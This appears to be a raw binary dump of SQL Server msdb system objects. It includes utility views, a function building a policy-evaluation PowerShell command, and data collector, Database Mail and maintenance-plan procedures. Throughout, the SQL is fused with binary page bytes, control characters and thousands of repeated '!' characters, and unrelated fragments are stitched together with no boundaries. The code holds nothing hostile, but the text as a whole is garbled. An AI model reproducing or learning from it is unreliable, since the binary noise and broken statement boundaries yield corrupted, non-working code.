   dacs.urn,
   dacs.powershell_path
FROM dbo.syn_sysutility_ucp_dacs as dacs
--- The join operator removes those DACs in the managed instances which are unenrolled during
--- the time between two consecutive data collection. 
--- See VSTS #473462 for more information 
INNER JOIN dbo.sysutility_ucp_managed_instances as mis
ON dacs.server_instance_name = mis.instance_name;

0p+ 8CREATE VIEW dbo.sysutility_ucp_computers
AS
   SELECT  
       server_table.id AS computer_id    -- todo (VSTS #345036): This column will be removed
       , server_table.virtual_server_name AS virtual_server_name
       , server_table.physical_server_name AS physical_server_name
       , server_table.is_clustered_server AS is_clustered
       , server_table.percent_total_cpu_utilization AS processor_utilization
       , server_table.cpu_name AS cpu_name
       , server_table.cpu_max_clock_speed AS cpu_max_clock_speed
       , server_table.processing_time AS processing_time
       , urn
       , powershell_path       
   FROM    [dbo].[syn_sysutility_ucp_computers] as server_table
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#l
=
H`+<H
)L!ۄ0p- 8
CREATE FUNCTION [dbo].[fn_syspolicy_get_ps_command] (@schedule_uid uniqueidentifier)
RETURNS nvarchar(max)
AS
BEGIN
	
	DECLARE @schedule_uid_string nvarchar(max);
	SET @schedule_uid_string = CONVERT(nvarchar(36), @schedule_uid);
	
	-- translate to PSPath root name, for default instances 
	-- we need to add \default as instance name
	DECLARE @root_name nvarchar(100);
	SET @root_name = @@SERVERNAME
	IF( 0 = CHARINDEX('\', @@SERVERNAME))
		SET @root_name = @root_name + N'\default';
	
	DECLARE @command nvarchar(max);
	SET @command = N'dir SQLSERVER:\SQLPolicy\' + @root_name + 
				N'\Policies | where { $_.ScheduleUid -eq "' + @schedule_uid_string + 
				N'" } |  where { $_.Enabled -eq 1} | where {$_.AutomatedPolicyEvaluationMode -eq 4} | Invoke-PolicyEvaluation -AdHocPolicyEvaluationMode 2 -TargetServerName ' + @@SERVERNAME
				
	RETURN @command
END
0	'- 8CREATE VIEW dbo.sysdatatypemappings AS SELECT * FROM sys.fn_helpdatatypemap('%', '%', '%', '%', '%', '%', 0)0G-@ 
8CREATE PROCEDURE [dbo].[sp_syscollector_delete_collector_type]
    @collector_type_uid            uniqueidentifier = NULL,
    @name                        sysname = NULL
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_delete_collector_type
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN (1)
    END
    
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collector_type @collector_type_uid OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    IF (EXISTS(SELECT * from dbo.syscollector_collection_items
        WHERE @collector_type_uid = collector_type_uid))
    BEGIN
        RAISERROR(14673, -1, -1, @name)
        RETURN (1)
    END
    
    DECLARE @schema_collection sysname
        -- @sql_string should have enough buffer to include 2n+2 max size for QUOTENAME(@schema_collection).
    DECLARE @sql_string nvarchar(285)
    SET @schema_collection = (SELECT schema_collection 
                                FROM syscollector_collector_types_internal
                                WHERE @collector_type_uid = collector_type_uid)
    SET @sql_string = N'DROP XML SCHEMA COLLECTION ' + QUOTENAME(@schema_collection, '[');
    EXEC sp_executesql @sql_string

    DELETE [dbo].[syscollector_collector_types_internal]
    WHERE collector_type_uid = @collector_type_uid

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_delete_collector_type

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
0DZ- /8(suser_sname())0U- r8---
--- Gets the total utility space utilization. 
--- The funny left-outer-join is to account for cases where there is no "utility-wide" entry yet 
--- typically, right at bootstrap time
---
CREATE VIEW dbo.sysutility_ucp_utility_space_utilization
AS
   SELECT ISNULL(S2.total_space_bytes, 0) AS total_utility_storage,
          ISNULL(S2.used_space_bytes, 0) AS total_utilized_space 	
   FROM (SELECT 1 AS x) AS S1
         LEFT OUTER JOIN 
        (SELECT total_space_bytes, used_space_bytes 
          FROM dbo.syn_sysutility_ucp_space_utilization
          WHERE object_type = 0 AND -- utility-wide information
                aggregation_type = 0 AND -- detail-information
                processing_time = (SELECT latest_processing_time FROM msdb.dbo.sysutility_ucp_processing_state_internal)
        ) AS S2 ON (1=1)        
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
<~`3<i*LvșT0(2;7 8CREATE PROCEDURE sysmail_delete_mailitems_sp
   @sent_before DATETIME   = NULL, -- sent before
   @sent_status varchar(8)   = NULL -- sent status
AS
BEGIN

   SET @sent_status       = LTRIM(RTRIM(@sent_status))
   IF @sent_status           = '' SET @sent_status = NULL

   IF ( (@sent_status IS NOT NULL) AND
         (LOWER(@sent_status collate SQL_Latin1_General_CP1_CS_AS) NOT IN ( 'unsent', 'sent', 'failed', 'retrying') ) )
   BEGIN
      RAISERROR(14266, -1, -1, '@sent_status', 'unsent, sent, failed, retrying')
      RETURN(1) -- Failure
   END

   IF ( @sent_before IS NULL AND @sent_status IS NULL )
   BEGIN
      RAISERROR(14608, -1, -1, '@sent_before', '@sent_status')  
      RETURN(1) -- Failure
   END

   DELETE FROM msdb.dbo.sysmail_allitems 
   WHERE 
        ((@sent_before IS NULL) OR ( send_request_date < @sent_before))
   AND ((@sent_status IS NULL) OR (sent_status = @sent_status))

   DECLARE @localmessage nvarchar(255)
    SET @localmessage = FORMATMESSAGE(14665, SUSER_SNAME(), @@ROWCOUNT)
    exec msdb.dbo.sysmail_logmailevent_sp @event_type=1, @description=@localmessage

END
0-[7 $8('')0R<p7 D8/h?-077 8-----------------------------------------------------------
-- This procedure verifies if a policy category exists
-- The caller can pass either the policy category name or the id
-----------------------------------------------------------
CREATE PROCEDURE [dbo].[sp_syspolicy_verify_policy_category_identifiers]
@policy_category_name sysname = NULL OUTPUT, 
@policy_category_id int = NULL OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

  IF ((@policy_category_name IS NULL)     AND (@policy_category_id IS NULL)) OR
     ((@policy_category_name IS NOT NULL) AND (@policy_category_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, '@policy_category_name', '@policy_category_id')
    RETURN(1) -- Failure
  END

  -- Check id
  IF (@policy_category_id IS NOT NULL)
  BEGIN
    SELECT @policy_category_name = name
    FROM msdb.dbo.syspolicy_policy_categories
    WHERE (policy_category_id = @policy_category_id)
    
    -- the view would take care of all the permissions issues.
    IF (@policy_category_name IS NULL) 
    BEGIN
      DECLARE @policy_category_id_as_char VARCHAR(36)
      SELECT @policy_category_id_as_char = CONVERT(VARCHAR(36), @policy_category_id)
      RAISERROR(14262, -1, -1, '@policy_category_id', @policy_category_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check name
  IF (@policy_category_name IS NOT NULL)
  BEGIN
    -- get the corresponding policy_category_id (if the condition exists)
    SELECT @policy_category_id = policy_category_id
    FROM msdb.dbo.syspolicy_policy_categories
    WHERE (name = @policy_category_name)
    
    -- the view would take care of all the permissions issues.
    IF (@policy_category_id IS NULL) 
    BEGIN
      RAISERROR(14262, -1, -1, '@policy_category_name', @policy_category_name)
      RETURN(1) -- Failure
    END
  END

  RETURN (0)
END
0
B7 D8xh2#307L7 |8CREATE PROCEDURE sp_add_maintenance_plan_db
  @plan_id UNIQUEIDENTIFIER,
  @db_name sysname
AS
BEGIN
  DECLARE @syserr VARCHAR(100)
  /*check if the plan_id is valid */
  IF (NOT EXISTS (SELECT plan_id
              FROM  msdb.dbo.sysdbmaintplans
              WHERE plan_id=@plan_id))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)
    RAISERROR(14262,-1,-1,'@plan_id',@syserr)
    RETURN(1)
  END
  /*check if the database name is valid */
  IF (NOT EXISTS (SELECT name
              FROM master.dbo.sysdatabases
              WHERE name=@db_name))
   BEGIN
    RAISERROR(14262,-1,-1,'@db_name',@db_name)
    RETURN(1)
  END
  /*check if the (plan_id, database) pair already exists*/
  IF (EXISTS (SELECT *
              FROM sysdbmaintplan_databases
              WHERE plan_id=@plan_id AND database_name=@db_name))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)+' + '+@db_name
    RAISERROR(14261,-1,-1,'@plan_id+@db_name',@syserr)
    RETURN(1)
  END
  INSERT INTO msdb.dbo.sysdbmaintplan_databases (plan_id,database_name) VALUES (@plan_id, @db_name)
END
0QO8 $8('')0G8 /8
CREATE VIEW [dbo].[sysutility_ucp_mi_cpu_utilizations]
AS
SELECT svr.Name AS server_instance_name, 
   10 AS under_utilization, 
   CAST(svr.ProcessorUsage AS INT) AS current_utilization, 
   70 AS over_utilization
FROM	msdb.dbo.sysutility_ucp_instances AS svr;
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4X
t
\`<`+LxV0< >8CREATE VIEW dbo.sysutility_ucp_instance_policies AS
(    
    SELECT sp.server_instance_name 
        , sp.smo_server_urn
        , sp.utility_server_urn
        , sp.powershell_path
        , ISNULL(lp.policy_id, sp.policy_id) AS policy_id -- if exists get local (overridden) policy, else return global policy 
        , ISNULL(lp.is_global_policy, 1) AS is_global_policy
        , sp.resource_type
        , sp.target_type
        , sp.utilization_type
    FROM (
            -- fetch the global policies 
            SELECT sv.Name AS server_instance_name
                , sv.urn AS smo_server_urn
                , N'Utility[@Name=''' + CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName')) + N''']/' + sv.urn AS utility_server_urn
                , sv.powershell_path AS powershell_path
                , gp.policy_id
                , gp.resource_type
                , gp.target_type
                , gp.utilization_type
            FROM msdb.dbo.sysutility_ucp_instances sv
                , msdb.dbo.sysutility_ucp_policies gp
            WHERE gp.rollup_object_type = 2  
                AND gp.is_global_policy = 1    
        ) sp
        LEFT JOIN msdb.dbo.sysutility_ucp_policies lp -- fetch the local policies (if exists)
        ON lp.rollup_object_urn = sp.utility_server_urn 
            AND lp.rollup_object_type = 2
            AND lp.is_global_policy = 0
            AND lp.resource_type = sp.resource_type
            AND lp.target_type = sp.target_type
            AND lp.utilization_type = sp.utilization_type
)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!